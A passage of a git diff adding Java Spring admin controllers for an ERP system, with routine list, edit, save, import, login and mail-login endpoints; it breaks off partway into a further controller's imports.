|
||||
@RequestMapping("/admin/generateSetting")
|
||||
public class GenerateSettingController extends BaseController {
|
||||
|
||||
@Resource
|
||||
private GenerateSettingService generateSettingService;
|
||||
|
||||
@RequestMapping("/list")
|
||||
public String list(ModelMap modelMap, Pageable pageable) {
|
||||
modelMap.addAttribute("page", generateSettingService.findPage(pageable));
|
||||
return "/generateSetting/list";
|
||||
}
|
||||
|
||||
@RequestMapping("/add")
|
||||
public String add() {
|
||||
return "/generateSetting/add";
|
||||
}
|
||||
|
||||
@RequestMapping("/edit")
|
||||
public String edit(ModelMap modelMap, Long id) {
|
||||
modelMap.addAttribute("generateSetting", generateSettingService.find(id));
|
||||
return "/generateSetting/edit";
|
||||
}
|
||||
|
||||
@RequestMapping("/dialog/list")
|
||||
public String dialogList(ModelMap modelMap) {
|
||||
modelMap.addAttribute("list", generateSettingService.findAll());
|
||||
return "/generateSetting/dialog/list";
|
||||
}
|
||||
|
||||
@RequestMapping("/dialog/add")
|
||||
public String dialogAdd() {
|
||||
return "/generateSetting/dialog/add";
|
||||
}
|
||||
|
||||
@RequestMapping("/dialog/edit")
|
||||
public String dialogEdit(ModelMap modelMap, Long id) {
|
||||
modelMap.addAttribute("generateSetting", generateSettingService.find(id));
|
||||
return "/generateSetting/dialog/edit";
|
||||
}
|
||||
|
||||
@RequestMapping("/save")
|
||||
@ResponseBody
|
||||
public RespData save(GenerateSetting generateSetting) {
|
||||
return respDataWithHandle(() -> generateSettingService.saveEntity(generateSetting));
|
||||
}
|
||||
|
||||
@RequestMapping("/update")
|
||||
@ResponseBody
|
||||
public RespData update(GenerateSetting generateSetting) {
|
||||
return respDataWithHandle(() -> generateSettingService.updateEntity(generateSetting));
|
||||
}
|
||||
|
||||
@RequestMapping("/delete")
|
||||
@ResponseBody
|
||||
public Message delete(Long[] ids) {
|
||||
return msgDataWithHandle(() -> generateSettingService.delete(ids));
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,112 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import com.vverp.entity.HelpInformation;
|
||||
import com.vverp.moli.util.Message;
|
||||
import com.vverp.moli.util.Page;
|
||||
import com.vverp.moli.util.Pageable;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.HelpInformationService;
|
||||
import com.vverp.util.DateUtil;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.ui.ModelMap;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMethod;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
@RequestMapping("admin/helpInformation")
|
||||
@Controller("adminHelpInformation")
|
||||
public class HelpInformationController extends BaseController{
|
||||
|
||||
@Resource
|
||||
private HelpInformationService helpInformationService;
|
||||
|
||||
|
||||
@RequestMapping("/list")
|
||||
public String list(ModelMap modelMap, Pageable pageable) {
|
||||
Page<HelpInformation> page = helpInformationService.findPage(pageable);
|
||||
modelMap.addAttribute("page", page);
|
||||
return "/helpInformation/list";
|
||||
}
|
||||
|
||||
@RequestMapping("/listForView")
|
||||
public String listForView(ModelMap modelMap, Pageable pageable) {
|
||||
Page<HelpInformation> page = helpInformationService.findPage(pageable);
|
||||
modelMap.addAttribute("page", page);
|
||||
return "/helpInformation/listForView";
|
||||
}
|
||||
|
||||
@RequestMapping("/add")
|
||||
public String add(ModelMap modelMap) {
|
||||
modelMap.addAttribute("time", System.currentTimeMillis());
|
||||
return "/helpInformation/add";
|
||||
}
|
||||
|
||||
@RequestMapping("/save")
|
||||
@ResponseBody
|
||||
public Message save(HelpInformation helpInformation) {
|
||||
try {
|
||||
helpInformationService.save(helpInformation);
|
||||
} catch (RuntimeException e) {
|
||||
return Message.error(e.getMessage());
|
||||
}
|
||||
return SUCCESS;
|
||||
}
|
||||
|
||||
@RequestMapping("/edit")
|
||||
public String edit(ModelMap modelMap, Long id) {
|
||||
modelMap.addAttribute("helpInformation", helpInformationService.find(id));
|
||||
modelMap.addAttribute("time", System.currentTimeMillis());
|
||||
return "/helpInformation/edit";
|
||||
}
|
||||
|
||||
@RequestMapping("/update")
|
||||
@ResponseBody
|
||||
public Message update(HelpInformation helpInformation) {
|
||||
try {
|
||||
helpInformationService.update(helpInformation);
|
||||
} catch (RuntimeException e) {
|
||||
return Message.error(e.getMessage());
|
||||
}
|
||||
return SUCCESS;
|
||||
}
|
||||
|
||||
@RequestMapping(value = "/delete", method = RequestMethod.POST)
|
||||
public @ResponseBody
|
||||
Message delete(Long[] ids) {
|
||||
helpInformationService.delete(ids);
|
||||
return SUCCESS;
|
||||
}
|
||||
|
||||
@RequestMapping(value = "/dataList", method = RequestMethod.GET)
|
||||
@ResponseBody
|
||||
public RespData list(Pageable pageable) {
|
||||
// Admin admin = adminService.getCurrent();
|
||||
// Page<HelpInformationEntity> page = helpInformationEntityService.findPage(pageable, null);
|
||||
Page<HelpInformation> page = helpInformationService.findPage(pageable);
|
||||
|
||||
List<Map<String, Object>> list = new ArrayList<>();
|
||||
for (HelpInformation entity : page.getContent()) {
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
map.put("id", entity.getId());
|
||||
map.put("title", entity.getTitle());
|
||||
map.put("date", DateUtil.format(entity.getCreateDate(), "yyyy-MM-dd"));
|
||||
list.add(map);
|
||||
}
|
||||
|
||||
return RespData.success(new Page<>(list, page.getTotal(), page.getPageable()));
|
||||
}
|
||||
|
||||
|
||||
@RequestMapping("getData")
|
||||
@ResponseBody
|
||||
public RespData getData(Long id){
|
||||
return RespData.success(helpInformationService.find(id).getContent());
|
||||
}
|
||||
|
||||
}
|
||||
181
src/main/java/com/vverp/controller/admin/HomeController.java
Normal file
181
src/main/java/com/vverp/controller/admin/HomeController.java
Normal file
@@ -0,0 +1,181 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import com.vverp.entity.*;
|
||||
import com.vverp.moli.util.Page;
|
||||
import com.vverp.moli.util.Pageable;
|
||||
import com.vverp.util.DateUtil;
|
||||
import com.vverp.enums.ApprovalSource;
|
||||
import com.vverp.enums.Reservoir;
|
||||
import com.vverp.moli.util.Filter;
|
||||
import com.vverp.moli.util.Order;
|
||||
import com.vverp.service.*;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.ui.ModelMap;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Collections;
|
||||
|
||||
/**
|
||||
* @author dealsky
|
||||
* @date 2020/9/30 11:12 上午
|
||||
*/
|
||||
@Controller("adminHomeController")
|
||||
@RequestMapping("/admin/home")
|
||||
public class HomeController extends BaseController {
|
||||
|
||||
@Resource
|
||||
private AdminService adminService;
|
||||
|
||||
@Resource
|
||||
private CompanyService companyService;
|
||||
|
||||
@Resource
|
||||
private ProductService productService;
|
||||
|
||||
@Resource
|
||||
private PurchaseOrderService purchaseOrderService;
|
||||
|
||||
@Resource
|
||||
private MaterialOrderService materialOrderService;
|
||||
|
||||
@Resource
|
||||
private PurchaseApplyOrderService purchaseApplyOrderService;
|
||||
|
||||
@Resource
|
||||
private PurchaseStockService purchaseStockService;
|
||||
|
||||
|
||||
@RequestMapping("/index")
|
||||
public String index(ModelMap modelMap) {
|
||||
modelMap.addAttribute("companyList", companyService.findAll());
|
||||
modelMap.addAttribute("sources", ApprovalSource.values());
|
||||
return "/home/index";
|
||||
}
|
||||
|
||||
@RequestMapping("/department")
|
||||
public String department() {
|
||||
Admin admin = adminService.getCurrent();
|
||||
Department department = admin.getDepartment();
|
||||
|
||||
switch (department.getName()) {
|
||||
case "商务执行部":
|
||||
case "总经办": {
|
||||
return "redirect:department/business.html";
|
||||
}
|
||||
case "市场营销部": {
|
||||
return "redirect:department/market.html";
|
||||
}
|
||||
case "物流品控部": {
|
||||
return "redirect:department/transport.html";
|
||||
}
|
||||
case "生产运行部": {
|
||||
return "redirect:department/production.html";
|
||||
}
|
||||
case "单证综合部": {
|
||||
return "redirect:department/invoice.html";
|
||||
}
|
||||
case "财务部": {
|
||||
return "redirect:department/financial.html";
|
||||
}
|
||||
case "国际贸易部": {
|
||||
return "redirect:department/internationalTrade.html";
|
||||
}
|
||||
default: {
|
||||
//行政综合部
|
||||
//资金部
|
||||
return "redirect:department/general.html";
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping("/department/business")
|
||||
public String departmentBusiness(ModelMap modelMap) {
|
||||
modelMap.addAttribute("companyList", companyService.findAll());
|
||||
modelMap.addAttribute("productList", productService.findAll());
|
||||
Admin admin = adminService.getCurrent();
|
||||
|
||||
String today = DateUtil.today();
|
||||
|
||||
modelMap.addAttribute("departmentValue", "business");
|
||||
return "/home/department/business";
|
||||
}
|
||||
|
||||
@RequestMapping("/department/market")
|
||||
public String departmentMarket(ModelMap modelMap) {
|
||||
modelMap.addAttribute("productList", productService.findAll());
|
||||
modelMap.addAttribute("departmentValue", "market");
|
||||
return "/home/department/market";
|
||||
}
|
||||
|
||||
@RequestMapping("/department/transport")
|
||||
public String departmentTransport(ModelMap modelMap) {
|
||||
modelMap.addAttribute("reservoirs", Reservoir.values());
|
||||
modelMap.addAttribute("departmentValue", "transport");
|
||||
return "/home/department/transport";
|
||||
}
|
||||
|
||||
@RequestMapping("/department/production")
|
||||
public String departmentProduction(ModelMap modelMap) {
|
||||
modelMap.addAttribute("departmentValue", "production");
|
||||
return "/home/department/production";
|
||||
}
|
||||
|
||||
@RequestMapping("/department/invoice")
|
||||
public String departmentInvoice(ModelMap modelMap) {
|
||||
// return "/home/department/invoice";
|
||||
return "redirect:/admin/invoiceInventory/gasolineCombined";
|
||||
}
|
||||
|
||||
@RequestMapping("/department/financial")
|
||||
public String departmentFinancial(ModelMap modelMap) {
|
||||
modelMap.addAttribute("companyList", companyService.findList(null, null, Collections.singletonList(Order.asc("id"))));
|
||||
modelMap.addAttribute("ownerList", companyService.allCompanyList());
|
||||
modelMap.addAttribute("departmentValue", "financial");
|
||||
return "/home/department/financial";
|
||||
}
|
||||
|
||||
@RequestMapping("/department/internationalTrade")
|
||||
public String departmentInternationalTrade(ModelMap modelMap) {
|
||||
modelMap.addAttribute("departmentValue", "internationalTrade");
|
||||
modelMap.addAttribute("pricingList", purchaseOrderService.pricingList());
|
||||
return "/home/department/internationalTrade";
|
||||
}
|
||||
|
||||
@RequestMapping("/department/general")
|
||||
public String departmentGeneral() {
|
||||
return "/home/index";
|
||||
}
|
||||
|
||||
@RequestMapping("dataBoard")
|
||||
public String dataBoard(ModelMap modelMap){
|
||||
return "home/dataBoard";
|
||||
}
|
||||
|
||||
@RequestMapping("allList")
|
||||
public String allList(ModelMap modelMap, Pageable pageable, String key, String value){
|
||||
Page<MaterialOrder> page1 = materialOrderService.findPageByParams(pageable, key, value);
|
||||
Page<PurchaseApplyOrder> page2 = purchaseApplyOrderService.findPageByParams(pageable, key, value);
|
||||
Page<PurchaseStock> page3 = purchaseStockService.findPageByParams(pageable,key,value);
|
||||
Page<PurchaseOrder> page4 = purchaseOrderService.findPageByParams(pageable,key,value);
|
||||
long total = page1.getTotal();
|
||||
if (page2.getTotal()>total){
|
||||
total = page2.getTotal();
|
||||
}
|
||||
if (page3.getTotal()>total){
|
||||
total = page3.getTotal();
|
||||
}
|
||||
if (page4.getTotal()>total){
|
||||
total = page4.getTotal();
|
||||
}
|
||||
modelMap.addAttribute("page1",page1);
|
||||
modelMap.addAttribute("page2",page2);
|
||||
modelMap.addAttribute("page3",page3);
|
||||
modelMap.addAttribute("page4",page4);
|
||||
modelMap.addAttribute("key",key);
|
||||
modelMap.addAttribute("value",value);
|
||||
modelMap.addAttribute("page",new Page<>(new ArrayList<>(),total,pageable));
|
||||
return "home/allList";
|
||||
}
|
||||
}
|
||||
114
src/main/java/com/vverp/controller/admin/ImportController.java
Normal file
114
src/main/java/com/vverp/controller/admin/ImportController.java
Normal file
@@ -0,0 +1,114 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.ImportService;
|
||||
import org.apache.commons.lang.exception.ExceptionUtils;
|
||||
import org.slf4j.Logger;
|
||||
import org.slf4j.LoggerFactory;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
import org.springframework.web.multipart.MultipartFile;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* 导入相关文件
|
||||
*
|
||||
* @author dealsky
|
||||
* @date 2020/12/3 上午11:54
|
||||
*/
|
||||
@Controller
|
||||
@RequestMapping("/admin/import")
|
||||
public class ImportController extends BaseController {
|
||||
|
||||
private static final Logger logger = LoggerFactory.getLogger(ImportService.class);
|
||||
|
||||
@Resource
|
||||
private ImportService importService;
|
||||
|
||||
@RequestMapping("/index")
|
||||
public String index() {
|
||||
return "/import/index";
|
||||
}
|
||||
|
||||
|
||||
@RequestMapping("/contractUpload")
|
||||
@ResponseBody
|
||||
public RespData contractUpload(MultipartFile file) {
|
||||
try {
|
||||
List<String> errorList = importService.contractUpload(file);
|
||||
return RespData.success(errorList);
|
||||
} catch (RuntimeException e) {
|
||||
logger.error(ExceptionUtils.getFullStackTrace(e));
|
||||
return RespData.error(e.getMessage());
|
||||
} catch (Exception e) {
|
||||
logger.error(ExceptionUtils.getFullStackTrace(e));
|
||||
return RespData.error("导入失败");
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping("/contractCheck")
|
||||
@ResponseBody
|
||||
public RespData contractCheck(MultipartFile file) {
|
||||
try {
|
||||
List<String> errorList = importService.contractCheck(file);
|
||||
return RespData.success(errorList);
|
||||
} catch (Exception e) {
|
||||
logger.error(ExceptionUtils.getFullStackTrace(e));
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* 船运入库导入检查
|
||||
*/
|
||||
@RequestMapping("/shippingPutInStorageCheck")
|
||||
@ResponseBody
|
||||
public RespData shippingPutInStorageCheck(MultipartFile file) {
|
||||
try {
|
||||
List<String> errorList = importService.shippingPutInStorageCheck(file);
|
||||
return RespData.success(errorList);
|
||||
} catch (Exception e) {
|
||||
logger.error(ExceptionUtils.getFullStackTrace(e));
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 汽运入库导入检查
|
||||
*/
|
||||
@RequestMapping("/carPutInStorageCheck")
|
||||
@ResponseBody
|
||||
public RespData carPutInStorageCheck(MultipartFile file) {
|
||||
try {
|
||||
List<String> errorList = importService.carPutInStorageCheck(file);
|
||||
return RespData.success(errorList);
|
||||
} catch (Exception e) {
|
||||
logger.error(ExceptionUtils.getFullStackTrace(e));
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 汽运入库导入
|
||||
*/
|
||||
@RequestMapping("/carPutInStorageUpload")
|
||||
@ResponseBody
|
||||
public RespData carPutInStorageUpload(MultipartFile file) {
|
||||
try {
|
||||
List<String> errorList = importService.carPutInStorageUpload(file);
|
||||
return RespData.success(errorList);
|
||||
} catch (RuntimeException e) {
|
||||
logger.error(ExceptionUtils.getFullStackTrace(e));
|
||||
return RespData.error(e.getMessage());
|
||||
} catch (Exception e) {
|
||||
logger.error(ExceptionUtils.getFullStackTrace(e));
|
||||
return RespData.error("导入失败");
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import cn.hutool.core.bean.BeanUtil;
|
||||
import com.vverp.entity.Information;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.InformationService;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.ui.ModelMap;
|
||||
import org.springframework.web.bind.annotation.PathVariable;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import java.util.Date;
|
||||
|
||||
/**
|
||||
* @author dealsky
|
||||
* @date 2020/1/20 2:09 下午
|
||||
*/
|
||||
@Controller("adminInformationController")
|
||||
@RequestMapping("/admin/information")
|
||||
public class InformationController extends BaseController {
|
||||
|
||||
@Resource
|
||||
private InformationService informationService;
|
||||
|
||||
@RequestMapping(value = "/{title}")
|
||||
public String about(ModelMap modelMap, @PathVariable String title, String name) {
|
||||
modelMap.addAttribute("information", informationService.findSingle());
|
||||
modelMap.addAttribute("time", new Date().getTime());
|
||||
modelMap.addAttribute("title", title);
|
||||
modelMap.addAttribute("name", name);
|
||||
return "/information/index";
|
||||
}
|
||||
|
||||
@RequestMapping(value = "/save")
|
||||
@ResponseBody
|
||||
public RespData save(String title, String content) {
|
||||
Information information = informationService.findSingle();
|
||||
return respDataWithHandle(() -> {
|
||||
BeanUtil.setFieldValue(information, title, content);
|
||||
informationService.update(information);
|
||||
});
|
||||
}
|
||||
|
||||
}
|
||||
55
src/main/java/com/vverp/controller/admin/LogController.java
Normal file
55
src/main/java/com/vverp/controller/admin/LogController.java
Normal file
@@ -0,0 +1,55 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import com.vverp.util.DateUtil;
|
||||
import com.vverp.dto.LogQuery;
|
||||
import com.vverp.entity.Log;
|
||||
import com.vverp.moli.util.Pageable;
|
||||
import com.vverp.service.LogService;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.ui.ModelMap;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMethod;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import java.util.Calendar;
|
||||
import java.util.Date;
|
||||
|
||||
|
||||
@Controller
|
||||
@RequestMapping(value = "/admin/log")
|
||||
public class LogController extends BaseController {
|
||||
|
||||
@Resource
|
||||
private LogService logService;
|
||||
|
||||
@RequestMapping(value = "/list")
|
||||
public String list(Pageable pageable, ModelMap modelMap, LogQuery query) {
|
||||
Calendar calendar = Calendar.getInstance();
|
||||
calendar.add(Calendar.MONTH, -3);
|
||||
if (query.getCreateDateStart() == null) {
|
||||
query.setCreateDateStart(DateUtil.beginOfMonth(calendar.getTime()).toJdkDate());
|
||||
}
|
||||
if (query.getCreateDateEnd() == null) {
|
||||
query.setCreateDateEnd(DateUtil.endOfMonth(new Date()).toJdkDate());
|
||||
}
|
||||
query.setCreateDateStart(DateUtil.beginOfDay(query.getCreateDateStart()).toJdkDate());
|
||||
query.setCreateDateEnd(DateUtil.endOfDay(query.getCreateDateEnd()).toJdkDate());
|
||||
modelMap.addAttribute("page", logService.findPage(pageable, query));
|
||||
modelMap.addAttribute("query", query);
|
||||
return "/log/list";
|
||||
}
|
||||
|
||||
@RequestMapping(value = "/view", method = RequestMethod.GET)
|
||||
public String view(Long id, ModelMap modelMap) {
|
||||
Log log = logService.find(id);
|
||||
modelMap.addAttribute("log", log);
|
||||
return "/log/view";
|
||||
}
|
||||
|
||||
@RequestMapping(value = "/dialogList")
|
||||
public String adminLog(Pageable pageable, ModelMap modelMap) {
|
||||
modelMap.addAttribute("page", logService.findPage(pageable));
|
||||
return "/common/dialog/adminLog";
|
||||
}
|
||||
|
||||
}
|
||||
130
src/main/java/com/vverp/controller/admin/LoginController.java
Normal file
130
src/main/java/com/vverp/controller/admin/LoginController.java
Normal file
@@ -0,0 +1,130 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import com.vverp.base.Setting;
|
||||
import com.vverp.entity.*;
|
||||
import com.vverp.moli.util.Message;
|
||||
import com.vverp.service.*;
|
||||
import org.apache.commons.codec.digest.DigestUtils;
|
||||
import org.apache.commons.lang.BooleanUtils;
|
||||
import org.apache.commons.lang.StringUtils;
|
||||
import org.apache.shiro.SecurityUtils;
|
||||
import org.apache.shiro.subject.Subject;
|
||||
import org.apache.shiro.web.filter.authc.FormAuthenticationFilter;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.ui.ModelMap;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import javax.annotation.PostConstruct;
|
||||
import javax.annotation.Resource;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpSession;
|
||||
|
||||
@Controller
|
||||
@RequestMapping("/admin")
|
||||
public class LoginController {
|
||||
|
||||
@Resource
|
||||
private AdminService adminService;
|
||||
|
||||
@Resource
|
||||
private MenuService menuService;
|
||||
|
||||
@Resource
|
||||
private SystemSettingService systemSettingService;
|
||||
|
||||
@Resource
|
||||
private ExtraFieldService extraFieldService;
|
||||
|
||||
@Resource
|
||||
private ProgressService progressService;
|
||||
|
||||
@Resource
|
||||
private PurchaseApplyOrderService purchaseApplyOrderService;
|
||||
|
||||
@Resource
|
||||
private RoleService roleService;
|
||||
|
||||
@PostConstruct
|
||||
public void init() {
|
||||
purchaseApplyOrderService.init();
|
||||
roleService.init();
|
||||
}
|
||||
|
||||
@RequestMapping("/login")
|
||||
public String login(ModelMap model, HttpServletRequest request, HttpSession session) {
|
||||
if (adminService.isAuthenticated()) {
|
||||
setModelAndSession(model, session);
|
||||
return Setting.getData().getHomeUrl();
|
||||
}
|
||||
|
||||
String failureMessage = null;
|
||||
String loginFailure = (String) request.getAttribute(FormAuthenticationFilter.DEFAULT_ERROR_KEY_ATTRIBUTE_NAME);
|
||||
if (StringUtils.isNotEmpty(loginFailure)) {
|
||||
switch (loginFailure) {
|
||||
case "org.apache.shiro.authc.UnknownAccountException":
|
||||
failureMessage = "账号不存在";
|
||||
break;
|
||||
case "org.apache.shiro.authc.IncorrectCredentialsException":
|
||||
failureMessage = "密码错误";
|
||||
break;
|
||||
case "org.apache.shiro.authc.DisabledAccountException":
|
||||
failureMessage = "账号已禁用";
|
||||
break;
|
||||
default:
|
||||
failureMessage = "登录失败";
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
model.addAttribute("failureMessage", failureMessage);
|
||||
model.addAttribute("systemSetting", systemSettingService.findSingle());
|
||||
return "/login/index";
|
||||
}
|
||||
|
||||
@RequestMapping(value = "/index")
|
||||
public String index(ModelMap model, HttpSession session) {
|
||||
if (adminService.isAuthenticated()) {
|
||||
setModelAndSession(model, session);
|
||||
return Setting.getData().getHomeUrl();
|
||||
}
|
||||
return "/login/index";
|
||||
}
|
||||
|
||||
@RequestMapping(value = "/logout")
|
||||
public String logout(ModelMap model) {
|
||||
Subject subject = SecurityUtils.getSubject();
|
||||
subject.logout();
|
||||
return "redirect:/admin/index.html";
|
||||
}
|
||||
|
||||
public void setModelAndSession(ModelMap model, HttpSession session) {
|
||||
Admin admin = adminService.getCurrent();
|
||||
model.addAttribute("admin", admin);
|
||||
// model.addAttribute("showProgress", admin.getSupplier()==null);
|
||||
model.addAttribute("showProgress", true);
|
||||
// if (admin.getSupplier() != null) {
|
||||
// model.addAttribute("progress", progressService.find(admin.getSupplier().getProgressId()));
|
||||
// admin.setNowProgress(admin.getSupplier().getProgressId());
|
||||
// adminService.update(admin);
|
||||
// }else {
|
||||
model.addAttribute("progress", progressService.find(admin.getNowProgress()));
|
||||
// }
|
||||
model.addAttribute("systemMenu", menuService.menuList());
|
||||
model.addAttribute("systemSetting", systemSettingService.findSingle());
|
||||
session.setAttribute("systemSetting", systemSettingService.findSingle());
|
||||
session.setAttribute("eField", extraFieldService);
|
||||
session.setAttribute("curAdmin", admin);
|
||||
Department department = admin.getDepartment();
|
||||
if (department != null) {
|
||||
session.setAttribute("curDept", department);
|
||||
session.setAttribute("curDeptName", department.getName());
|
||||
}
|
||||
Company company = admin.getCompany();
|
||||
if (company != null) {
|
||||
session.setAttribute("curCompany", company);
|
||||
session.setAttribute("curCompanyName", company.getName());
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
58
src/main/java/com/vverp/controller/admin/MailController.java
Normal file
58
src/main/java/com/vverp/controller/admin/MailController.java
Normal file
@@ -0,0 +1,58 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import com.vverp.dto.ewomail.EwoMailObject;
|
||||
import com.vverp.entity.Admin;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.AdminService;
|
||||
import com.vverp.util.EwoMailUtils;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
|
||||
/**
|
||||
* @author dealsky
|
||||
* @date 2021/2/3 下午5:45
|
||||
*/
|
||||
@RequestMapping("admin/mail")
|
||||
@Controller("adminMailController")
|
||||
public class MailController {
|
||||
|
||||
@Resource
|
||||
private AdminService adminService;
|
||||
|
||||
@RequestMapping("/login")
|
||||
public String login(String email, String password) {
|
||||
EwoMailObject ewoMailObject = EwoMailUtils.userLogin(email, password);
|
||||
if (ewoMailObject.getStatus().equals("1")) {
|
||||
return "redirect:" + ewoMailObject.getData().getStr("jump");
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
@RequestMapping("/loginAuth")
|
||||
@ResponseBody
|
||||
public RespData loginAuth() {
|
||||
Admin admin = adminService.getCurrent();
|
||||
EwoMailObject ewoMailObject = EwoMailUtils.userLogin(admin.getEwoEmail(), admin.getEmailPassword());
|
||||
if (ewoMailObject.getStatus().equals("1")) {
|
||||
return RespData.success(ewoMailObject.getData());
|
||||
} else {
|
||||
return RespData.error(ewoMailObject.getMsg());
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping("/newMessage")
|
||||
@ResponseBody
|
||||
public RespData newMessage(Integer uidNext) {
|
||||
Admin admin = adminService.getCurrent();
|
||||
EwoMailObject ewoMailObject = EwoMailUtils.newMessage(admin.getEwoEmail(), "INBOX", uidNext);
|
||||
if (ewoMailObject.getStatus().equals("1")) {
|
||||
return RespData.success(ewoMailObject.getData());
|
||||
} else {
|
||||
return RespData.error(ewoMailObject.getMsg());
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,95 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import com.vverp.entity.Diameter;
|
||||
import com.vverp.entity.Material;
|
||||
import com.vverp.moli.util.Message;
|
||||
import com.vverp.moli.util.Page;
|
||||
import com.vverp.moli.util.Pageable;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.MaterialService;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.ui.ModelMap;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
import org.springframework.web.multipart.MultipartFile;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
|
||||
@RequestMapping("admin/material")
|
||||
@Controller("adminMaterial")
|
||||
public class MaterialController extends BaseController{
|
||||
|
||||
@Resource
|
||||
private MaterialService materialService;
|
||||
|
||||
|
||||
@RequestMapping("list")
|
||||
public String list(ModelMap modelMap, Pageable pageable){
|
||||
Page<Material> page = materialService.findPage(pageable);
|
||||
modelMap.addAttribute("page",page);
|
||||
return "material/list";
|
||||
}
|
||||
|
||||
@RequestMapping("add")
|
||||
public String add(){
|
||||
return "material/add";
|
||||
}
|
||||
|
||||
@RequestMapping("edit")
|
||||
public String edit(ModelMap modelMap, Long id){
|
||||
Material material = materialService.find(id);
|
||||
modelMap.addAttribute("material",material);
|
||||
return "material/edit";
|
||||
}
|
||||
|
||||
@RequestMapping("save")
|
||||
@ResponseBody
|
||||
public RespData save(Material material){
|
||||
if (materialService.findByAttribute("name",material.getName()) != null){
|
||||
return RespData.error(material.getName()+"已存在");
|
||||
}
|
||||
materialService.save(material);
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("update")
|
||||
@ResponseBody
|
||||
public RespData update(Material material){
|
||||
Material source = materialService.findByAttribute("name",material.getName());
|
||||
if (source != null && !source.getId().equals(material.getId())){
|
||||
return RespData.error(material.getName()+"已存在");
|
||||
}
|
||||
materialService.update(material);
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("delete")
|
||||
@ResponseBody
|
||||
public Message delete(Long ids){
|
||||
materialService.delete(ids);
|
||||
return Message.success("删除成功");
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* 导入模板
|
||||
*/
|
||||
@RequestMapping("/exportTemplate")
|
||||
public void exportTemplate(HttpServletResponse response) {
|
||||
materialService.exportTemplate(response);
|
||||
}
|
||||
|
||||
@RequestMapping("import")
|
||||
@ResponseBody
|
||||
public RespData importExcel(MultipartFile file) {
|
||||
try {
|
||||
materialService.importExcel(file);
|
||||
return RespData.success();
|
||||
} catch (RuntimeException e) {
|
||||
return RespData.error(e.getMessage());
|
||||
} catch (Exception e) {
|
||||
return RespData.error("导入失败");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,952 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import com.vverp.base.exception.ImportExcelException;
|
||||
import com.vverp.dto.CompanyQuery;
|
||||
import com.vverp.dto.MaterialOrderStockTypeCountSumDto;
|
||||
import com.vverp.dto.OrderQuery;
|
||||
import com.vverp.entity.*;
|
||||
import com.vverp.enums.OrderCategory;
|
||||
import com.vverp.moli.util.Message;
|
||||
import com.vverp.moli.util.Page;
|
||||
import com.vverp.moli.util.Pageable;
|
||||
